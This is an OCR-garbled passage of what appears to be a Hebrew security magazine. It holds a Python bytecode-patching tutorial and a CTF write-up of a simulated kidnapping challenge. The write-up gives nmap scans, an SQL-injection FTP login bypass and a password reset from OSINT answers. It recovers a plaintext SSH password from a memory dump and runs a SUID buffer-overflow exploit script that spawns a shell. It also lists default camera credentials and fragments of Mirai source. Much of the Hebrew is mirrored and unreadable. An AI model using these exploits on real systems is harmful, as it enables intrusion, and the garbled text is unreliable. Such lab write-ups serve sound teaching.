NNT W'NNN .types.ListType()-1 types.IntType() (constructors) 0'X127 NN N2'0NVIR

>>> import types
>>> list == types.ListType

True

>>> types.FloatType() == 0.0
True

>>> types.DictType() == {}
True

>>> types.TupleType([1,2,3]) == (1,2,3)
True

>>> type(5) == types.IntType
True

>>> type == types.TypeType
True

[IN"9N NONAQ 17N TINA L|XD 1170 TWKX D"UITIVON D'7ITINN 7Y NIIONN Y'WNnd ,NTh 7ITinn
2Tmnn N'on NX7NI 3 INY'9a ,7wnY .0'9'0m D'Yo7 ,0'0I9'0 11NN DTN DYDY WIN'WAY
DIYN NKTI types.IntType-I types.ListType 1nD ,0N'"78 NWA7 NNl T W' 12DW D'OI9'O/NIRNN
DNY? |'N QYN 0''N19 0'OID'V N'Y'Y? O'NIA 7N ITIMNY XIN NNIR ["MIYNY NN IX 0N 'Y
[IN"9 NOMA 722 7ITINA IRWI RINI L types.CodeType RIN 127 '0I71N 019'VN .0'D0N NINYW/DNIX'}

.NA'TNON N2 N'XLIMIPITA NY'DINN

2 NIN D'VINIAIND 72PN KIN NN T TR OP™MAIN VIX'Y? 17 WWOKN types.CodeType() 'X1an
NITNNI L, TIVE ,N0NN 7712 ,0NYN NINY NNTO0 ,0'WIAR NTO ,TIZ NO'D (T U7X A'DINY NN

ATD N'D 'NKIAN 7Y An'nnn .wTN TI? ORPMAIX

CodeType(argcount, nlocals, stacksize, flags, code, consts,
names, varnames, filename, name, firstlineno,
lnotab, freevars=None, cellvars=None)
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,20ND TIV qonw Pa byn NNINWN types.CodeType() 7w DMVNISN NA'Nn 3 [IN"'91

.(argcount NX) Nn'NN2 awN DN kwonlyargcount

NnX 1I'HJ'7 Dn T nNT7NN NMNKX .N"Y'Y DR 7w wTn TIj? OP"AIR AIX'™7 NN 7V DT 'N1Q] Wnnw)

4N NATYA N1dINN

import struct

import marshal

from types import CodeType
from dis import opname

with open("poc.py.pyc", "rb") as f:
pyc_header = f.read(8)
co = marshal.load(f) # get code object

new_co_consts = list(co.co_consts)

# Append our new constant to co_consts
new_co_consts.append("Psst, I've got what you need: %s")
new_co_consts = tuple(new_co_consts)

# Just to make sure we are working on the correct pyc

# Notice that we use dis.opname, the opposite of dis.opmap
assert opname[ord(co.co_code[174])] == "LOAD_CONST"

assert opname[ord(co.co_code[178])] == "LOAD_NAME"

# Get modifiable bytecode

new_co_code = bytearray(co.co_code)

# Generate a correct index argument for LOAD_CONST. Llittle endian
msg_index_arg = struct.pack("<H", len(new_co_consts) - 1)
# Change LOAD_CONST's argument to our message
new_co_code[174 + 1: 174 + 3] = msg_index_arg

# Change LOAD_NAME 6 (error_input) to LOAD_NAME 4 (target)
new_co_code[178 + 1: 178 + 3] = struct.pack("<H", 4)
new_co_code = bytes(new_co_code)

# Create a new code object with our modified data

new_co = CodeType(co.co_argcount,
co.co_nlocals, co.co_stacksize, co.co_flags,
new_co_code, new_co_consts, # Change occurs here
CO.CO_names, CO.cO_varnames, co.co_filename,
co.co_name, co.co_firstlineno, co.co_lnotab,
co.co_freevars, co.co_cellvars)

with open("poc-deobf2.py.pyc", "wb") as de_f:
de_f.write(pyc_header)
marshal.dump(new_co, de_f)

-1 UNNWNn XIn 0 NX "Psst, I've got what you need: %s" :viap TV TIipn OR"AIR? 90 TIpn
Y2 XYN1 IWUN LN7Y 0IMMIIRD DR DAY nn 7Y ,178-1 174 ,07TI7 'MaxnY NIXIINN 7w offsets

Y2177 INIX MNIYE WTN T OF"AIR AXI' 910271 .0'99INN D'NAN
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N NI772 PN 7511 ,N1DTIVAN NI1DINN NNV DY)

BN Ch\Windows\system32\cmd.exe

sUserssAdmninsDownloadssf lare—on~6~solution>py —2 poc—deobhfZ.py.pyc
(Guezzes: 1> Pick a number hetween 1 and 188:zhamelesz plug

Psst, I've got what you need: 87
(Gueszesz: 1> Pick a number bhetween 1 and 18@:87
Jahoo, you guessed it with 1 guesses
Etatusz: super guesser 1

:D'YININ NI'NMD NHL 72 X No1

BN Ch\Windows\system32\omd.exe

sslzerssAdninsDownloadssf lare—on“bssolution?>py —2 poc—deobf2._ py._puc
(Guezzes: 1> Pick a number hetween 1 and 188:zhamelesz plug

Pzzt,. I've got wvhat you need: 61
C(Guesses: 1> Pick a number bhetween 1 and 188:8
Too low. try again
(Guesszes: 2» Pick a number betuween 1
Jahoo, you guessed it with 2 guesses
Rtatus: 2 guesses

c 14 R yB:7?||]Whilzy+

and 188:61

~GBG?* xBx {(an4dcE

NiNdY Yyw Ty 1'70N2 J'wnl NN X7 N1 Nan NN pY1,7w1 decryption-n 1 |'N2a

YN

BN C\Windows\system32\cmd.exe

sslzerssAdninsDownloadssf lare—on“bszolutionXpy —2 poc—deobhf2._ py._puc
(Guezzes: 1> Pick a number hetween 1 and 188:zhamelesz plug
Pzzt,. I've got wvhat you need: 25
18@8:@

(Guezzes: 1> Pick a number bhetween 1 and

Too low,
(Guesses:
Too low,
(Guesses:
Too low,
(Guesses:
Too low,
(Guesses:
Too low,
(Guesses:
Too low,
(Guesses:
Too low,
(Guesses:
Too low,
(Guesses:
Too low,
(Guesses:
Too low,

try again
2> Pick a
try again
3> Pick a
try again
4> Pick a
try again
5> Pick a
try again
6> Pick a
try again
7> Pick a
try again
8> Pick a
try again
7> Pick a
try again
i8>

try again

numhbe
numhbe
numhbe
numhbe
numhbe
numhbe
numhbe

numher

between
between
between
between
between
between
between

hetween

1

Pick a numher hetween 1

and
and
and
and
and
and
and

and

188:8
188:8
188:8
188:8
188:8
188:8
188:8
188:8

and 188:A

(Guesszes: 11> Pick a number bhetween 1 and 188:25%
Jahoo, you guessed it with 11 guesses
REtatus: 11 guesses

I r2flare—on

mp@rtdId_pyvgulss . Com

sslzerssAdminsDownloadssf lare—on“bssolution>

owina 11 11
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JINNOY yana nivson NiNya and

70 7W NUNN JNN9N AT IR JOIRD P DT 02T AR NTRNN DX NRYY? DYDY X7 wnn
N NMW1 AT NN ,0"0I9 NIFMY DX DX .1N79UN YT pyc-7 7TN7 TWOKR 'R 0ATN7 NN

272amn 1von7 V7ENN ARNAYWN NTINNN 7Y VINIARD DX

NN y¥a7 "M Oopn NIVa wnnwn? 0o 1t N N Ty QN NMIX2 MANKRN DX NoY7 '
NNTV NNTE ,NIYWY? DY 1INIRY QRN 2'a0n T70" AN 79 nn'mn DX nta o o7 'N'un
NX 'MNOS X ITh NTA 1Y 0INIAARN 7v n97NNI wI9'n DwX¥an TNl L dis.opmap-1 win'y

ANKN

NNIR NNRWY X7 NN 72V Anxy NDINN 79 TIR7 DRNINY ,"NNR" TINA 21'N0XD [RD NYXY ['Y7 u!
NN N7YN 2INOY AN—NIRIIN 7¢ "oNI 901N 1ND DT JI0NYT YD NXTIE ,NMNIVvAYA NNINd

“Simple is better than complex” :In"9 7w |Th '97 .NIAdIMN 1M

nid'o

IN"D ¥2 INK? 0TIN7 17 NTV'Y NIV'W V1 python internals 7V yTm 79w nTN%? N1 MMNna
-1 ,types ,marshal ,dis D"2Immn ,uncompyle6-1 unpy2exe D'20 NX DA .DATINN
2'2YN7 MDD DT NRNA D DI X .CPython 7w 0v1an Tippn Ny n9wni ,bytecode_graph

.NN7XNA NINIT NI'Y2 INSY71 NwaY7 DO'7 ZWOKXK'Y YT DA X7X ,0'101 1ANX NN'N9 TWUKRN NI

7annn 7y

7 NN9Y N W NN ,ARD Y7 1D RNN 1aNn
|.peer@protonmail.com

.NiX nawa #reversing :IRC-n YNV IX

Reversing Compiled Python
www.DigitalWhisper.co.il
22 2016 NanxT,78 |I'72




Technologic

|1'V? D'©@01) NN

YWY 70t AT TR PrTa 'R 72V 1200 DAl 7911yn INY'9 TIputa Dy NITTIMNN 7Y A0 e

:FireEye-n ,decompilation

https://www.fireeye.com/blog/threat-research/2016/05/deobfuscating python.html

https://www.quora.com/What-is-a-code-object-in-Python

:code objects 7y nanM1 NN‘Po @

https://tech.blog.aknin.name/2010/07/03/pythons-innards-code-objects/

'0177 NINO N¥y) Dalvik VM-n1 ,0M2IX NI00IAN 17X T2 NY20NN NIO0IAN NIZRIVY'I NNPDN @

:(CPython-4

http://www.codeproject.com/Articles/A61052/Stack-based-vs-Register-based-Virtual-Machine-

Arch

:marshal 7ITmn ¥ axomipiTn e

https://docs.python.org/2/library/marshal.html

:marshal 7w mx1"an VNII9N 7Y NP0 e

http://demoseen.com/blog/2010-02-20 Python Marshal Format.html

‘types.CodeType()-2 win'wn 91X 7V 2NN 110N o

http://stackoverflow.com/questions/16064409/how-to-create-a-code-object-in-python
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https://www.fireeye.com/blog/threat-research/2016/05/deobfuscating_python.html
https://www.quora.com/What-is-a-code-object-in-Python
https://tech.blog.aknin.name/2010/07/03/pythons-innards-code-objects/
http://www.codeproject.com/Articles/461052/Stack-based-vs-Register-based-Virtual-Machine-Arch
http://www.codeproject.com/Articles/461052/Stack-based-vs-Register-based-Virtual-Machine-Arch
https://docs.python.org/2/library/marshal.html
http://demoseen.com/blog/2010-02-20_Python_Marshal_Format.html
http://stackoverflow.com/questions/16064409/how-to-create-a-code-object-in-python
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79IN NT'N' 7w 2016 120N NANK [INND

d4d-1 n'T "IN NXN

aNTN

MY 22 md .79IX NT'N' 9w (Cyber Challenge 2016) Naon Nanx 1w 19/06/2016-n 'INNA
7'n 7w "poIX" TN NANKN IR INT'R Q'R 7N NU'ONAMIINI NXY 7218 MTO (NIINNKN DIWN 3-1)

JANIXR 12D RN

,DN XN ,DMINNN [1HANN D'NNINY NWONN TWUN Capture The Flag 12202 NINNN RIN 12"0N MANK
DN71D' NX |7I'I'1'7 QY2 VIXypN 'WINRI QYN 12 ,0'01TI00 VT NIdYn 700,y NNVAX 'NNIN

DN ynoY

I9NNWN L9 NIA 7NWN T AT 7w IMo'ON 72V N2TA WX TN 1I9'0 A NMIWA NANKY

M2 DR 27'NNY7 DM I (Israelites DY) 7@ NIXD DN ANKD

12 GPS-n DIpMm 7apnn 09102 WX Nin'wn 3 10 71700 7011 0'7170n 3-7 Pnnn Manxn nawn

.XXN1 XIN

i’ #OP_SaveGuri

;Il A not so long time ago, like 3 weeks ago...
j: 3 anonymous people kidnapped the great comedian Guri Alfi.

!II You are about to join the investigation team that is trying to find his location!
if' Just like in a cool Hollywood movie, you are going to infiltrate the kidnappers' networks and lives to find the GPS coordinates of Guri's location.

:Il We gathered intelligence and found out that they are using a great artificial decryption intelligence program named A.D.I to encrypt the map.

¥

|

| A.D.I needs three keys to display the map. The three kidnappers are:
'j 1. The Mastermind

'| 2. The Hacker

'| 3. The Thief

B

|

?“ Now it's our time to do what we do bestl! Let's get those keys and get Gun back to safety!

¥

J' This is our opportunity and we only have one shotl You are the best Hackers in the World! It all depends on youl
]
J Good luck, fellow hackers!
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#OpGuri (The Mastermind) - pux 7170n

Walk in the Park
In order to enter the Mastermind's server and find his secret code which will lead us to the plan about Guri's kidnap, you must find a way to access one of his organization's networks.
Luckily ,one of the Mastermind's employees ,Tim , has left his network open - this should be your access point.

The IP range of the Mastermind's network is 10.0.111.0-100.
Find a way to access Tim's Server.
Answer pattern: username:password

NKR NI?X? 72waw 0'1'an 11NIX ,D'0 7w NvN Y'Y wnnwn DwUinl nno'on NKX A'win? X'n naunn
-1 NYUNNYN NPNoN NX Y¥a? N v .10.0.111.0-100 nwNa 0'0NID 7007 DTIR 70X Nn'wnin

‘NAN |9IX] ,nmap

nmap -sS -sV 10.0.111.0-100 |

.(M'nn N - ACK-7 NidN7 "2 0'0119 Nj0) TCP SYN scan -sS e

(L1192 D'YNYNY 0'012N07 NIROY'A NXR'¥N) Standard service detection -sV o

:Nmap 7w D'01190 NP0 N"IT NIKXIN

Nmap scan report for 10.0.111.18
Host is up (0.00042s latency) .
Not shown: 995 filtered ports

PORT STATE SERVICE VERSION

21/tcp open ftp Xlight ftpd 3.1

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds
2869/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

MAC Address: 00:0C:29:14:AB:FD (VMware)
Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 10.0.111.78
Host is up (0.00035s latency).
Not shown: 994 filtered ports

PORT STATE SERVICE VERSTION

80/tcp open http Microsoft IIS httpd 7.5
135/tcp open msrpc Microsoft Windows RPC
443/tcp open ssl/http Microsoft IIS httpd 7.5

445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012
microsoft-ds

1028/tcp open msrpc Microsoft Windows RPC

3389/tcp open ms-wbt-server Microsoft Terminal Service

MAC Address: 00:0C:29:46:A0:44 (VMware)

Service Info: 0OSs: Windows, Windows Server 2008 R2 - 2012; CPE:

cpe:/o:microsoft:windows

10.0.111.78 nawai ftp (Xlight ftpd 3.1) 7w nn'w wr 10.0.111.18 nwaw nint? 0'n*7¥n 1INIX
.RDP-1 HTTP/S 'nN'w v
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N1l ,0v

NXN1 NX DTN 1an? ' http://10.0.111.78-7 w727 nan 7y 97912 nwnnwn N1 27vwA

D'V NN

Password Reset

This is 2 very secure password reset. Please answer the security question below.

Username

Security questions:
What is my pet's name?

Who helped me on operation #1337?

In which city operation Blowfish took place?

Submit

..INYI'™R N7XN D2IMIN DX A'win'7 110X RDP-N 0T Tim 7w M7 2irn? n'7xaw nm 7uw Nk

w* Xlight ftpd 3.1-7w D*'XIN NNIX VINVI'RA NIXPZ NPT DR 7107 ATY? D1F FTP-N MY "2IR

:SQL Injection 7w Niy'ao

EDB-ID: 32877 Author: fla CVE: CVE-2009-4795
Published: 2009-03-19  Type: remote Platform: Multiple
E-DB Verified: & Exploit: & Download //[(3View Raw  Vulnerable App: N/A

Tags: Vulnerability

« Previous Exploit Next Exploit »

Xlight FTP Server 3.2 - 'user' SQL Injection

source: http://www.securityfocus.com/bid/34288/info

Xlight FTP Server is prene to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in
Exploiting this issue could allow an attacker to compromise the application, access or medify data, or exploit latent vulnerabilities in the
Versions prior to Xlight FTP Server 3.2.1 are affected.

The following example input is available:

User: " OR '1'="1" ;#

[https://www.exploit-db.com/exploits/32877 :Nijn]
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MmN w'w 0'’MN NNAX (OR 1=1 — ‘ :wnnNwnn DY DIPN 11IY) NNUIARN NXI19] NYANWAYW INKY

....OW O'R¥NI NNO0'oN O19'KXY7 0'XINIW D1ININ 70 71X ,FTPN Nwn a'win? 071D NNIRKY yT'n

Host: | 10.0.111.18 Qsernamel ‘or1=1--" IPassword: resscscsese | Port: | | D

Status:  Server does not support non-ASCIl characters.
Status:  Logged in

Status:  Retrieving directory listing...

Status:  Directory listing of */" successful

Local site: |T Remote site: | /
Filenam/é
Filename Filesize Filetype Last modifi.. Permissi.. Owner/G...
Building plans File folder 2/1/20161.. el
Downloads File folder 2/1/20161.. el
Misc File folder 2/1/20161.. el
My own creations File folder 6/5/20161.. el
Operations File folder 2/1/20161.. el

..D'0 7Y TANNN NN DY DX WON I'WdY ,Tim :0'WTI' 11D 1INIX D'V 7W WUnnwnn DY NX

2270 7w NN DY my pet.jpg DWA yalp D'RN 1INIX Misc n'7'Na

.Ernie :0'0 7¥ TANNN N'N DY DX D'WTI* DA 1INIX DR 1'WDY TX
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Yal7 X¥n1 DwI ./Operations/#1337 N j7'N'%7 0121 #1337 y¥xana 0'0Y TYY ' NX KIXN7 nan 7y

:Decode ™INX NKM1 KIN D ,Baseb4-1 TTI7N YaIznw DA™ 1INIX mail.txt owa

h3y 71m,

r364rdln6 yOur r3qu357 - 1 wlll h3lp yOu wl7h 7hl5 Op3r4710n.
jub7 wé4n7 70 cld4rlfy - 7hl5 15 7h3 1457 71m3 1m 601n6 70 h3lp yOu wl7h yOur

cyb3r 57uff.

600dluck,
rOn4ld

.Ronald :xin #1337 yxana 0'oY? "TVY My nxX

Yalj? X¥n1 Dwi ./Operations/Blowfish n"j'n'7 0121 Blowfish yxan y¥ann 'y nm'Ra KIXn? '

...INYN 2IMD yaIn ""9ONNA DN 21722 I'WDY 'MW 1Y Yalja DT 1NN city.jpg DWA

=

city,jpg Properties ®
General Security Details Previous Versions

Property WValue ~

Lyl coorm

EXIF version

GPS

Latitude 47. 29: 28.409000000014117

Longitude 19; 2; 21.502999999996987

i

EXIF MIX17 117 "'WOXRN WX INX / N1DIN2 WNNWI NINNn nn?Ix naw GPS NTizan NX 17 v nyd

:(Exchangeable image file format)

EXIF DATA
Date/Time :
Resolution :
GPS Latitude :

GPS Longitude :

2008/11/15 21:36:14

852 x 480

N 47° 29' 28.409"

E 19°2' 21.503"

There is no thumbnail

Remove Exifl ‘Another image

PLACE WHERE THE PICTURE WAS TAKEN
\ — o

Dldince.

Map  Sateliite 3 Salgotarjaf M\scl;olc
R Buikki
Dunajsks Nové %amky Balassagyarmat Nemzeti Park
o s ©
Dyha-ipoly 1 &
Nernzeti Park, .
! Vac G Mezékovesd
Komrno :: yongyss o
w Esztergom Ea
P En o En
{165 § aTata Szeatendre o Hortot
fJateidnyag Budypest Jiszberény Hortoba)
° Nemzeti F
Erd m b
Pépa Karcag
oSarvar & sl
Székesfehérvar
i . EA Szolnok :
P Veszprém o Cegléd '3
Lajosmizse
25E Dunatjvéros +
Balatonfire : Siofok Kecsgemel s
c zaivas -
szeg ifinany Kiskunsagi =
7 Nemzeti Park Réké
1Go 9'%"ely,,ﬂm\m‘ % IEE] 12p data ©2016 GeoBasis-DE/BKG (82009), Google  Terms of Use  Report a map error

[http://www.verexif.com/en/ver.php:1Ijm]

IBudapest :X'n Blowfish yxann yxann naw 1'wnw 1anon X
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109107 D'VIDN NX 021 .0'V 7Y NNO'ON NX 0DXY7 T2 0'DIX NNIXY VTN 70 DX 117 W'y nX1)

Password Reset

This is 2 very secure password reset. Please answer the security question below.
Username
tim|

Security questions:
What is my pet's name?

ermie

Who helped me on operation #1337?
ronald

In which city operation Blowfish took place?

budapest

Submit

...Submit 7y yn721

D'V 7w MYY? nno'on NX N7 w' 'woy lln7xin

Welcome Tim!
Due to your request, your password fias been reset.
Your new credintials are:

Username: Tim
Password: 9bw3W7XvKeH4

.Tim:9bw3W7XvK6H4 :X'n [IUXIN 7277 N2IwNn

POIX NT'N' 7w 2016 12ron NANK |NND
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Mindtricks

Network scope: 10.0.111.0-100

Greatl Now that you can access Tim's private server , you need to understand what's on it.

Explore the server and figure out what is the name of the operation that The Mastermind is currently working on _

NIYY7 72w ,pa0d D'TAY ORMN9 TR 7V AN 0'D"MY 1NIX (RDP 0T) Tim 7w nwn JIn2 11NIX
DY NY?'N D'RXIN NNAX 17U D'DNONN NYR'N2 .NNWA D'RYNIY D'¥APA D'TAN WONY 7'M NINT
:0wa Dump yalg v nal ,Things to check :pwa n"p'm TIV W' Dd YWK Important files

1Y AT NI N2Y90n NdwN 7w [Nd'T 0y ,20160131.mem

l Things to check =]
Gl\ )vl . = Libraries = Documents ~ Important files » Things to check ~ k5 I SearchT... =)
Organize ¥ %0 Open  »  Sharewith »  Mew Folder = - 0 @

It Favorites Documents libra
N ry Arrange by:  Folder ~
Bl Desktop Things to check
4 Downloads
. Mame Date modified Tvpe
=l Recent Places

016 3:44 PM MEM File

. Libraries

(Volatility) jna'tn namn nX N7 107 Y'Y 701 wnnwaw 1971 17w awnn yaipn DR 7'Myl

:DNIX 72777 "D msinfo32-2 wnnwa ,n7u9nn Nd>wn 7 0'01D NYT? DDMIX INIX

.r; 10.0.111.78 - Remote Desktop Connection
File Edit Yiew Help
S_}rstem summary | UM
--Hardware Resources 05 Marne Microsoft Windows Server 2008 R2 Enterprise I
"Components Version 6.1.7601 Service Pack 1 Build 7601
B Software Ervironment | oher 05 Descriptian Mot Available
05 Manufacturer Microsoft Corporation
System Mame WIN-GEKHIEPOIVU
Systemn Manufacturer Whiware, Inc
Horm
System Type xG4-based PC I
Processar Intel(R) ¥eon{R) CPU L5520 @ 2.27GHz, 2266 Mhz, 1 Core(s), 1 Logical..
BIOS Wersion/Date Phoenix Technologies LTD 6.00, 9/21/2011
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‘Volatility DTy [IN2'TA NamMN NP7 0'7'W9 1'N 070N TR 21721 ,NYd

volatility --profile=Win2008R2SP1x64 -f 20160131.mem pslist

Volatility Foundation Volatility Framework 2.5
Offset(V) Name 1D PID  Thds Hnds

e e e e e e e e e e

Mo o oo s

INIX XN TYD NIKYY 7210 DX XM ,|N2'TN NIINN nn'rh |nTa 2v9 Putty-w D'VTI' 1INIX 1'WDY

Volatility natya

| volatility --profile=Win2008R2SP1x64 -f 20160131.mem cmdscan

Volatility

% ok ok

ommandPro

ommandHist %2b9110 Application:
ommandCount stAdded: 18 LastDisplayed:
irstCommand: ommandCountMax:

md

md g

md #2 netstat -natp
md #3 @ 0x2b87b8: netstat -n

md #4 | 2c17: ping 19:

md | 2b87 cd C:\

md #6 | 2b dir

md #7 . A@: cd "Program File
md #8 2b8 cd Putty

md #9 dir

md # %2b ip

mdl Y2’ 3+ nine 1¢

md #12 2c2210: putty 02.168.0.2 -P 22 -1 tim -pw ZCZx4RpUutjlL
Cmd #’ b8E50: 1pcontig

C
C
C
F
P g
C
C
C
C
C
C
C
C
C
C
C
C

:Volatility 7¢ niTipon 7v Naon
.N72Y9nN Nd>wn 7'919 nyajp --profile=Win2008R2SP1x64
AIPNY7 D'YN NNIX INIR [NO'TN Yl -f 20160131.mem o
N2'TA NN NNR'7 QY AT 1Y D'DY70NN NN'WA DR 117 XN pslist e

N2 NINN NNP?1 1AW (AT 1XYW NITIP9N NN'WN DX 17 X'an cmdscan @

791X NT'N' 7w 2016 120N NANK |INND
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D'2"I¥ NNIX ,Putty DYV "aANNN wnnwnn 1'% NNYW7 Nno'onl wnnwnn 0W NX 17 ' a1 2%va
NINIY NITNN NIFP'NN NNR) %TEMP%-7 Putty DX 7'Nyl NRT NIWYY 72wa nwy imny

JINXNY NNANNNAN '019 DY 01211 (NANDY

& 10.0.111.78 - Remote Desktop Connection

jeneric
& Favorite

B Deskh

=
in the
4 Libraries

=| Docun
LUTELY MO WARRANTY, to the extent permitted by
= Pictun g

E Video:

NI017 nXaNn NTIZO] UNNY ...0OW XXN1 XAnN YX2nn 7Y DUNY DYTI DNIXI MWD M2 NNIX

YXINN OW NIX 7'onY yal7n DR RIXNY

| find / -name "*operation*" 2> /dev/null

sroot-nm won7 'NNn7 D/ e

.operation W' 17¥ DWAWY YAl woN7 7'awa -name “*operation*” e

JINRAY NAXAN vanne ' 2> /dev/null o

ININ Y¥INN DWW 0TI INIX 'WDY 17 21N NX NI'\P'? "D cat-2 NYNNWNI YaIN NIK 1IXRXN

.Dawn of the jocker
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| Wish | Were George

Network scope: 10.0.111.0-100

Good job!

Now explore The Mastermind's server and find where he saves his code to the A.D.| safe on the private server you have just reached.
Use your skills to find his code to the A.D.| safe.

.(georgel ynnwn ow) 1 7w np'M7 010'07 0'XIN 1INIX
.(Privilege escalation) NIXWIN NI7YNYT INWI'R 70X NIN'RNNAN NIKYINN DX 17 'R 7722

:NINQN NTIPON NNTVA georgel XIN DNYW owner-NW D'¥2p WON)

| find / -user georgel -exec ls -la --color=auto {} + 2>/dev/null

:op_gen DWA nNX¥ N Yalp /usr/share/Op-Generator n"'j7'Na 1INXN

Yal7nw MmIX 0T ,(owner) 7N T2 S 72TN NTW Suid 17 W'w NTAIVA XK' TN YA TRIMY NN
221w NNLAX NI 17 W' DRI TV KID 'R 207 yalgn IR TR ,0wner-n 79 NIRWANA YN

.georgel 7w D'¥apn NX XNP7 N2 wnNnwny

YV XD DNV NN TYD 171721 0TI
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INsprintf ,strcat ,strcpy) yalza nixxna Buffer Overflow-7 Niy'aosn NI'xjza19n NNX DX 77121 1'WdY

:NINAN NTIRON NTYA (vsprintf

| objdump -d ./op gen | grep 'strcpy\|strcat\|sprintf\|vsprintf'

H Fh o Fh Eh
-] o0 o oo 0

NAN NTIPO YNNWI NAX1 AT TXD N7 'O ,NINnn N1j71 strcpy-w D'1'an 11NIX

objdump -d ./op gen | grep 'strcpy\|strcat\|sprintf\|vsprintf'

7¥ YN YIIRNT YA n yN'71 QUKD [strcpy NNTYA VOV WON'7 071! 11NN less-2 11NIXWD ,NYd

(main) N'YUKRIN N'X19N0 NN XN strcpy-'7 NRAPY X000 11'KRY '729WD ,NYUO'NY 0UopPLN

.(number_seed) 1w VINIAIRN DX V777D N7aM KNI
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/system N7V NWO'N TX N7Y9NN NDIWNA D'D'7NN YNW N¥197 IR W 21 wON7 n07Nn

NN NX"M7 1IRXNI

NTIPON NTYA DW770 NINKN MNP NN fan?1 2277 1 GDB-2 wnnwa .10 AR AT D T

gdb /usr/share/Op-Generator/op gen

:gdb-n NTIP® Nrya nnnio charValidCheck n'¥j719n 7*7nn 'R 'an? nomn

printf "$s\n", 0x0804923C

T U791 117 TN NN .system N'¥71197 TUNIDD YANY 210VO0N 7Y NAIMdN X'N 0x0804923C
N2 N7 NAMON DR mea (TR YR RN 'R D Backdoor nxjpae 1itw nxMa) /bin/sh

ANQT? 27w2 'wndl (0x8048e65)

:gdb-n NTRSN MY N"DINY D'VINIAN N1 I'YDY

set args A “python -c 'print "B" * 10000'"

.(python maTya Mx'w) B 0y 1000 N'N' w1 A ) IWRIN 101190

:gdb-n NTIPS NITYA N'DINN DX YN

run

“B” * 4 nxy2a nTw 0x42424242 naind2 Segmentation Fault n72'7 ,"yn
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:NTIPON NNV Metasploit 7w pattern_create "1 17w awnna wnnen

| /usr/share/metasploit-framework/tools/exploit/pattern create.rb -1 10000 I

:gdb-n NTIZ9N NTYA NYDINY D'WTN D'VINIAN X7 *TD 12 WNNW) pattern 117 W'wd I'wdy

| set args A AaORalAa2Aa3AadAa5AaéAa7Aa8r..udMu5Mu6Mu7Mu8MuIMYOMYIMY2M |

wTNN NNIN YIN7 D'¥N 1INIX DX DNIX 78w gdb-D1 run ATIF9N NNTVA N'IDINN NN YN Y

JUKN]

ntation fault.

pattern_offset bwa Metasploit 7w "D TIva WNNWI NAINMDN NXXN1 DI NT'RA KIXN? 72w

NTIRON NV

| /usr/share/metasploit-framework/tools/exploit/pattern offset.rb -q 0x69423569 |

:079> N7y

| [*] Exact match at offset 1036 |
.Backdoor-n n'¥j72197 naimdn N 0'w7 10N 1 offset-n Nt

,AMIX 0'Y7 D'DY NNIX 1A D' NX Dal Backdoor-n n'x1197 namdn NX DA 17 W' DID'07 TX

01790780 DX AINDY7 DT INWIY NN

# /usr/bin/env python
import struct
import subprocess

subprocess.call ([
"/usr/share/Op-Generator/op gen",
|A|,
'B' * 1036 + struct.pack('L', 0x08048e65) ]
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Doodle Mail (The Hacker) - nw 7170n

Your Eyes Can't Deceive You

One of the kidnappers is an I.T guy by day and an awesome hacker by night.

After some recon work, we discovered that he has a doodle acount on www.email.com

Also, we discovered that he is working on his own private network, to which you can access only from his office

By impersonating a security guard, we infiltrated his office and planted a small device for remote access.
Explore the network 10.0.113.0-50, and find his doodle account credentials.

Answer pattern
username:password

,(www.email.com) 0'7'mn MW7 NINYIN 700 7¥ wnnwn DUNI Nno'on NX A'Un7 X'N n1unin
715 .10.0.113.0-50 NwNa D'OYID PNOY DT VXY NN'WNN DX NP7 7'2waw D'an nNaX

NTIPOY NYNNYUN |7I'10'7

nmap -sS -sV 10.0.113.0-50

.(Nnm N - ACK nipn'% 72 0'o119 Njpo) TCP SYN scan -Ss - e

(L1192 D'YNYWNY D0'0*2N07 NIKOYA NXR'¥N) Standard service detection -Sv =

:Nmap ¥ D0'01190 NP0 N"IT NIXYIN

Nmap scan report for 10.0.113.1

Host is up (0.00022s latency) .

Not shown: 999 closed ports

PORT STATE SERVICE VERSION

443/tcp open ssl/http Apache httpd 2.4.7 ((Ubuntu))
MAC Address: 00:0C:29:40:0C:08 (VMware)

Nmap scan report for 10.0.113.42

Host is up (0.00019s latency).

Not shown: 999 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh Dropbear sshd 0.53.1 (protocol 2.0)
MAC Address: 00:0C:29:4D:B4:F0 (VMware)

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux kernel

nwal SSH (Dropbear sshd 0.53.1) 7w nn'w w' 10.0.113.42 nwaw NINT? D'N'7¥n 1NN
-7 W77 1 197912 wnNNwn'? DN nNIX CHTTP/S (Apache httpd 2.4.7) 'nin'w v 10.0.113.1
:DW X¥N1 Nn NIXY7I https://10.0.113.1
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wI9'N ...7TNN N2 NINANNN '019 W' DX PITA7 N01 I'WdDY ,NiN7x¥n Nd>wn - dahua Ndwn it
NNO'0l UNNYN DWW 1IX¥N NNANNNN '019 NN NZTAY NNNE XAD 77 DNIN XN 7220 87

.888888:888888 :nin nd>wnY

Dahua Default Login Username and Password

Username: admin
Password: admin

IP Username: 666666
Password: 666666

Harri Whipp Username: 3888888
Administrater Password: 888888

[ http://www.forum.use-ip.co.uk/threads/dahua-default-login-username-and-password.377:11jm]

:Mirai VIANN D78 NN2ANNNN 'V DX XN 72D INT |'Vi 'Th

s MOGAEGTWILAKLT 13K 1E", 18);
"S54\ k4B YR58 x
3 A6\ kAP x4B Y

", "d3NrAB AP aBaC",

"R 1ANH1AN KL

Tuk14N 14N (14
"5 2443451 51055, xdD \ x5 xdE", 2);

"x13\x1e%x11hx

e H root 123

add_auth_entr y "oed 3 EyaeS A 13w ld k11, 1); root 1w1373

[ https://github.com/jgamblin/Mirai-Source-Code/:1j7n]

Home

About Contact

There is no connected camera.

_“ B
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...DT"MYN DMIPY W IR NIRNYT 1T History-7 0101 ,N>ynn N2 1INIX N1 27w2

History

P 0:2471:40 2 H —eo I
Date CAM Number View
26-06-2013 04 sec2
28-05-2012 05 secs
15-02-2015 03 sec3

| 28-12-2015 03 secl |
13-04-2014 02 secd

